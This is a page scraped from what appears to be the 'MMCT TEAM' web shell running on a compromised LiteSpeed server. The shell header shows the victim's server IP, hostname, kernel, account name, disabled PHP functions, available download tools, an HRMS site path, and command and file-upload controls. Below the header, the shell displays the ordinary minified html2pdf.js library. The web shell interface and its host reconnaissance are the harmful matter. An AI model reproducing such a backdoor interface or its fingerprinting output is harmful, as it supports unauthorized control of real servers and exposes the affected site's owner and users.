MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/public/backend/js/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/public/backend/js/html2pdf.min.js
/**
 * Minified by jsDelivr using UglifyJS v3.4.4.
 * Original file: /npm/html2pdf.js@0.9.0/dist/html2pdf.js
 * 
 * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
 */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("es6-promise/auto"),require("jspdf"),require("html2canvas")):"function"==typeof define&&define.amd?define(["es6-promise/auto","jspdf","html2canvas"],e):t.html2pdf=e(null,t.jsPDF,t.html2canvas)}(this,function(t,l,e){"use strict";l=l&&l.hasOwnProperty("default")?l.default:l,e=e&&e.hasOwnProperty("default")?e.default:e;var u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},a=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},r=function(t){var e=void 0===t?"undefined":u(t);return"undefined"===e?"undefined":"string"===e||t instanceof String?"string":"number"===e||t instanceof Number?"number":"function"===e||t instanceof Function?"function":t&&t.constructor===Array?"array":t&&1===t.nodeType?"element":"object"===e?"object":"unknown"},n=function(t,e){var r=document.createElement(t);if(e.className&&(r.className=e.className),e.innerHTML){r.innerHTML=e.innerHTML;for(var n=r.getElementsByTagName("script"),o=n.length;0<o--;null)n[o].parentNode.removeChild(n[o])}for(var i in e.style)r.style[i]=e.style[i];return r},p=function(t,e){var r={};for(var n in t)r[n]=72*t[n]/96/e;return r},s=function t(e){var r=a(t.convert(Promise.resolve()),JSON.parse(JSON.stringify(t.template))),n=t.convert(Promise.resolve(),r);return n=(n=n.setProgress(1,t,1,[t])).set(e)};((s.prototype=Object.create(Promise.prototype)).constructor=s).convert=function(t,e){return t.__proto__=e||s.prototype,t},s.template={prop:{src:null,container:null,overlay:null,canvas:null,img:null,pdf:null,pageSize:null},progress:{val:0,state:null,n:0,stack:[]},opt:{filename:"file.pdf",margin:[0,0,0,0],image:{type:"jpeg",quality:.95},enableLinks:!0,html2canvas:{},jsPDF:{}}},s.prototype.from=function(t,e){return this.then(function(){switch(e=e||function(t){switch(r(t)){case"string":return"string";case"element":return"canvas"===t.nodeName.toLowerCase?"canvas":"element";default:return"unknown"}}(t)){case"string":return this.set({src:n("div",{innerHTML:t})});case"element":return this.set({src:t});case"canvas":return this.set({canvas:t});case"img":return this.set({img:t});default:return this.error("Unknown source type.")}})},s.prototype.to=function(t){switch(t){case"container":return this.toContainer();case"canvas":return this.toCanvas();case"img":return this.toImg();case"pdf":return this.toPdf();default:return this.error("Invalid target.")}},s.prototype.toContainer=function(){return this.thenList([function(){return this.prop.src||this.error("Cannot duplicate - no source HTML.")},function(){return this.prop.pageSize||this.setPageSize()}]).then(function(){var t={position:"fixed",overflow:"hidden",zIndex:1e3,left:0,right:0,bottom:0,top:0,backgroundColor:"rgba(0,0,0,0.8)"},e={position:"absolute",width:this.prop.pageSize.inner.width+this.prop.pageSize.unit,left:0,right:0,top:0,height:"auto",margin:"auto",backgroundColor:"white"};t.opacity=0;var r=function t(e,r){for(var n=3===e.nodeType?document.createTextNode(e.nodeValue):e.cloneNode(!1),o=e.firstChild;o;o=o.nextSibling)!0!==r&&1===o.nodeType&&"SCRIPT"===o.nodeName||n.appendChild(t(o,r));return 1===e.nodeType&&("CANVAS"===e.nodeName?(n.width=e.width,n.height=e.height,n.getContext("2d").drawImage(e,0,0)):"TEXTAREA"!==e.nodeName&&"SELECT"!==e.nodeName||(n.value=e.value),n.addEventListener("load",function(){n.scrollTop=e.scrollTop,n.scrollLeft=e.scrollLeft},!0)),n}(this.prop.src,this.opt.html2canvas.javascriptEnabled);this.prop.overlay=n("div",{className:"html2pdf__overlay",style:t}),this.prop.container=n("div",{className:"html2pdf__container",style:e}),this.prop.container.appendChild(r),this.prop.overlay.appendChild(this.prop.container),document.body.appendChild(this.prop.overlay)})},s.prototype.toCanvas=function(){var t=[function(){return document.body.contains(this.prop.container)||this.toContainer()}];return this.thenList(t).then(function(){var t=a({},this.opt.html2canvas);return delete t.onrendered,e(this.prop.container,t)}).then(function(t){(this.opt.html2canvas.onrendered||function(){})(t),this.prop.canvas=t,document.body.removeChild(this.prop.overlay)})},s.prototype.toImg=function(){return this.thenList([function(){return this.prop.canvas||this.toCanvas()}]).then(function(){var t=this.prop.canvas.toDataURL("image/"+this.opt.image.type,this.opt.image.quality);this.prop.img=document.createElement("img"),this.prop.img.src=t})},s.prototype.toPdf=function(){return this.thenList([function(){return this.prop.canvas||this.toCanvas()}]).then(function(){var t=this.prop.canvas,e=this.opt,r=(t.getContext("2d"),t.height),n=Math.floor(t.width*this.prop.pageSize.inner.ratio),o=Math.ceil(r/n),i=this.prop.pageSize.inner.height,a=document.createElement("canvas"),s=a.getContext("2d");a.width=t.width,a.height=n,this.prop.pdf=this.prop.pdf||new l(e.jsPDF);for(var p=0;p<o;p++){p===o-1&&(a.height=r%n,i=a.height*this.prop.pageSize.inner.width/a.width);var h=a.width,u=a.height;s.fillStyle="white",s.fillRect(0,0,h,u),s.drawImage(t,0,p*n,h,u,0,0,h,u),p&&this.prop.pdf.addPage();var c=a.toDataURL("image/"+e.image.type,e.image.quality);this.prop.pdf.addImage(c,e.image.type,e.margin[1],e.margin[0],this.prop.pageSize.inner.width,i)}})},s.prototype.output=function(t,e,r){return"img"===(r=r||"pdf").toLowerCase()||"image"===r.toLowerCase()?this.outputImg(t,e):this.outputPdf(t,e)},s.prototype.outputPdf=function(t,e){return this.thenList([function(){return this.prop.pdf||this.toPdf()}]).then(function(){return this.prop.pdf.output(t,e)})},s.prototype.outputImg=function(t,e){return this.thenList([function(){return this.prop.img||this.toImg()}]).then(function(){switch(t){case void 0:case"img":return this.prop.img;case"datauristring":case"dataurlstring":return this.prop.img.src;case"datauri":case"dataurl":return document.location.href=this.prop.img.src;default:throw'Image output type "'+t+'" is not supported.'}})},s.prototype.save=function(t){return this.thenList([function(){return this.prop.pdf||this.toPdf()}]).set(t?{filename:t}:null).then(function(){this.prop.pdf.save(this.opt.filename)})},s.prototype.set=function(e){if("object"!==r(e))return this;var t=Object.keys(e||{}).map(function(t){if(t in s.template.prop)return function(){this.prop[t]=e[t]};switch(t){case"margin":return this.setMargin.bind(this,e.margin);case"jsPDF":return function(){return this.opt.jsPDF=e.jsPDF,this.setPageSize()};case"pageSize":return this.setPageSize.bind(this,e.pageSize);default:return function(){this.opt[t]=e[t]}}},this);return this.then(function(){return this.thenList(t)})},s.prototype.get=function(e,r){return this.then(function(){var t=e in s.template.prop?this.prop[e]:this.opt[e];return r?r(t):t})},s.prototype.setMargin=function(t){return this.then(function(){switch(r(t)){case"number":t=[t,t,t,t];case"array":if(2===t.length&&(t=[t[0],t[1],t[0],t[1]]),4===t.length)break;default:return this.error("Invalid margin array.")}this.opt.margin=t}).then(this.setPageSize)},s.prototype.setPageSize=function(t){function e(t,e){return Math.floor(t*e/72*96)}return this.then(function(){(t=t||l.getPageSize(this.opt.jsPDF)).hasOwnProperty("inner")||(t.inner={width:t.width-this.opt.margin[1]-this.opt.margin[3],height:t.height-this.opt.margin[0]-this.opt.margin[2]},t.inner.px={width:e(t.inner.width,t.k),height:e(t.inner.height,t.k)},t.inner.ratio=t.inner.height/t.inner.width),this.prop.pageSize=t})},s.prototype.setProgress=function(t,e,r,n){return null!=t&&(this.progress.val=t),null!=e&&(this.progress.state=e),null!=r&&(this.progress.n=r),null!=n&&(this.progress.stack=n),this.progress.ratio=this.progress.val/this.progress.state,this},s.prototype.updateProgress=function(t,e,r,n){return this.setProgress(t?this.progress.val+t:null,e||null,r?this.progress.n+r:null,n?this.progress.stack.concat(n):null)},s.prototype.then=function(t,e){var r=this;return this.thenCore(t,e,function(e,t){return r.updateProgress(null,null,1,[e]),Promise.prototype.then.call(this,function(t){return r.updateProgress(null,e),t}).then(e,t).then(function(t){return r.updateProgress(1),t})})},s.prototype.thenCore=function(t,e,r){r=r||Promise.prototype.then;var n=this;t&&(t=t.bind(n)),e&&(e=e.bind(n));var o=-1!==Promise.toString().indexOf("[native code]")&&"Promise"===Promise.name?n:s.convert(a({},n),Promise.prototype),i=r.call(o,t,e);return s.convert(i,n.__proto__)},s.prototype.thenExternal=function(t,e){return Promise.prototype.then.call(this,t,e)},s.prototype.thenList=function(t){var e=this;return t.forEach(function(t){e=e.thenCore(t)}),e},s.prototype.catch=function(t){t&&(t=t.bind(this));var e=Promise.prototype.catch.call(this,t);return s.convert(e,this)},s.prototype.catchExternal=function(t){return Promise.prototype.catch.call(this,t)},s.prototype.error=function(t){return this.then(function(){throw new Error(t)})},s.prototype.using=s.prototype.set,s.prototype.saveAs=s.prototype.save,s.prototype.export=s.prototype.output,s.prototype.run=s.prototype.then,l.getPageSize=function(t,e,r){if("object"===(void 0===t?"undefined":u(t))){var n=t;t=n.orientation,e=n.unit||e,r=n.format||r}e=e||"mm",r=r||"a4",t=(""+(t||"P")).toLowerCase();var o=(""+r).toLowerCase(),i={a0:[2383.94,3370.39],a1:[1683.78,2383.94],a2:[1190.55,1683.78],a3:[841.89,1190.55],a4:[595.28,841.89],a5:[419.53,595.28],a6:[297.64,419.53],a7:[209.76,297.64],a8:[147.4,209.76],a9:[104.88,147.4],a10:[73.7,104.88],b0:[2834.65,4008.19],b1:[2004.09,2834.65],b2:[1417.32,2004.09],b3:[1000.63,1417.32],b4:[708.66,1000.63],b5:[498.9,708.66],b6:[354.33,498.9],b7:[249.45,354.33],b8:[175.75,249.45],b9:[124.72,175.75],b10:[87.87,124.72],c0:[2599.37,3676.54],c1:[1836.85,2599.37],c2:[1298.27,1836.85],c3:[918.43,1298.27],c4:[649.13,918.43],c5:[459.21,649.13],c6:[323.15,459.21],c7:[229.61,323.15],c8:[161.57,229.61],c9:[113.39,161.57],c10:[79.37,113.39],dl:[311.81,623.62],letter:[612,792],"government-letter":[576,756],legal:[612,1008],"junior-legal":[576,360],ledger:[1224,792],tabloid:[792,1224],"credit-card":[153,243]};switch(e){case"pt":var a=1;break;case"mm":a=72/25.4;break;case"cm":a=72/2.54;break;case"in":a=72;break;case"px":a=.75;break;case"pc":case"em":a=12;break;case"ex":a=6;break;default:throw"Invalid unit: "+e}if(i.hasOwnProperty(o))var s=i[o][1]/a,p=i[o][0]/a;else try{s=r[1],p=r[0]}catch(t){throw new Error("Invalid format: "+r)}if("p"===t||"portrait"===t){if(t="p",s<p){var h=p;p=s,s=h}}else{if("l"!==t&&"landscape"!==t)throw"Invalid orientation: "+t;if(t="l",p<s){h=p;p=s,s=h}}return{width:p,height:s,unit:e,k:a}};var o={toContainer:s.prototype.toContainer},h=[],i={toContainer:s.prototype.toContainer=function(){return o.toContainer.call(this).then(function(){var t=this.prop.container.querySelectorAll(".html2pdf__page-break"),r=this.prop.pageSize.inner.px.height;Array.prototype.forEach.call(t,function(t){t.style.display="block";var e=t.getBoundingClientRect();t.style.height=r-e.top%r+"px"},this)})},toPdf:s.prototype.toPdf};s.prototype.toContainer=function(){return i.toContainer.call(this).then(function(){if(this.opt.enableLinks){var t=this.prop.container,e=t.querySelectorAll("a"),s=p(t.getBoundingClientRect(),this.prop.pageSize.k);h=[],Array.prototype.forEach.call(e,function(t){for(var e=t.getClientRects(),r=0;r<e.length;r++){var n=p(e[r],this.prop.pageSize.k);n.left-=s.left,n.top-=s.top;var o=Math.floor(n.top/this.prop.pageSize.inner.height)+1,i=this.opt.margin[0]+n.top%this.prop.pageSize.inner.height,a=this.opt.margin[1]+n.left;h.push({page:o,top:i,left:a,clientRect:n,link:t})}},this)}})},s.prototype.toPdf=function(){return i.toPdf.call(this).then(function(){if(this.opt.enableLinks){h.forEach(function(t){this.prop.pdf.setPage(t.page),this.prop.pdf.link(t.left,t.top,t.clientRect.width,t.clientRect.height,{url:t.link.href})},this);var t=this.prop.pdf.internal.getNumberOfPages();this.prop.pdf.setPage(t)}})};var c=function t(e,r){var n=new t.Worker(r);return e?n.from(e).save():n};return c.Worker=s,c});
//# sourceMappingURL=/sm/b7c6adf6eaed22a2fd3eb0e13e1cc218e6aeea48af2810e225436b3f4235fa56.map

MMCT - 2023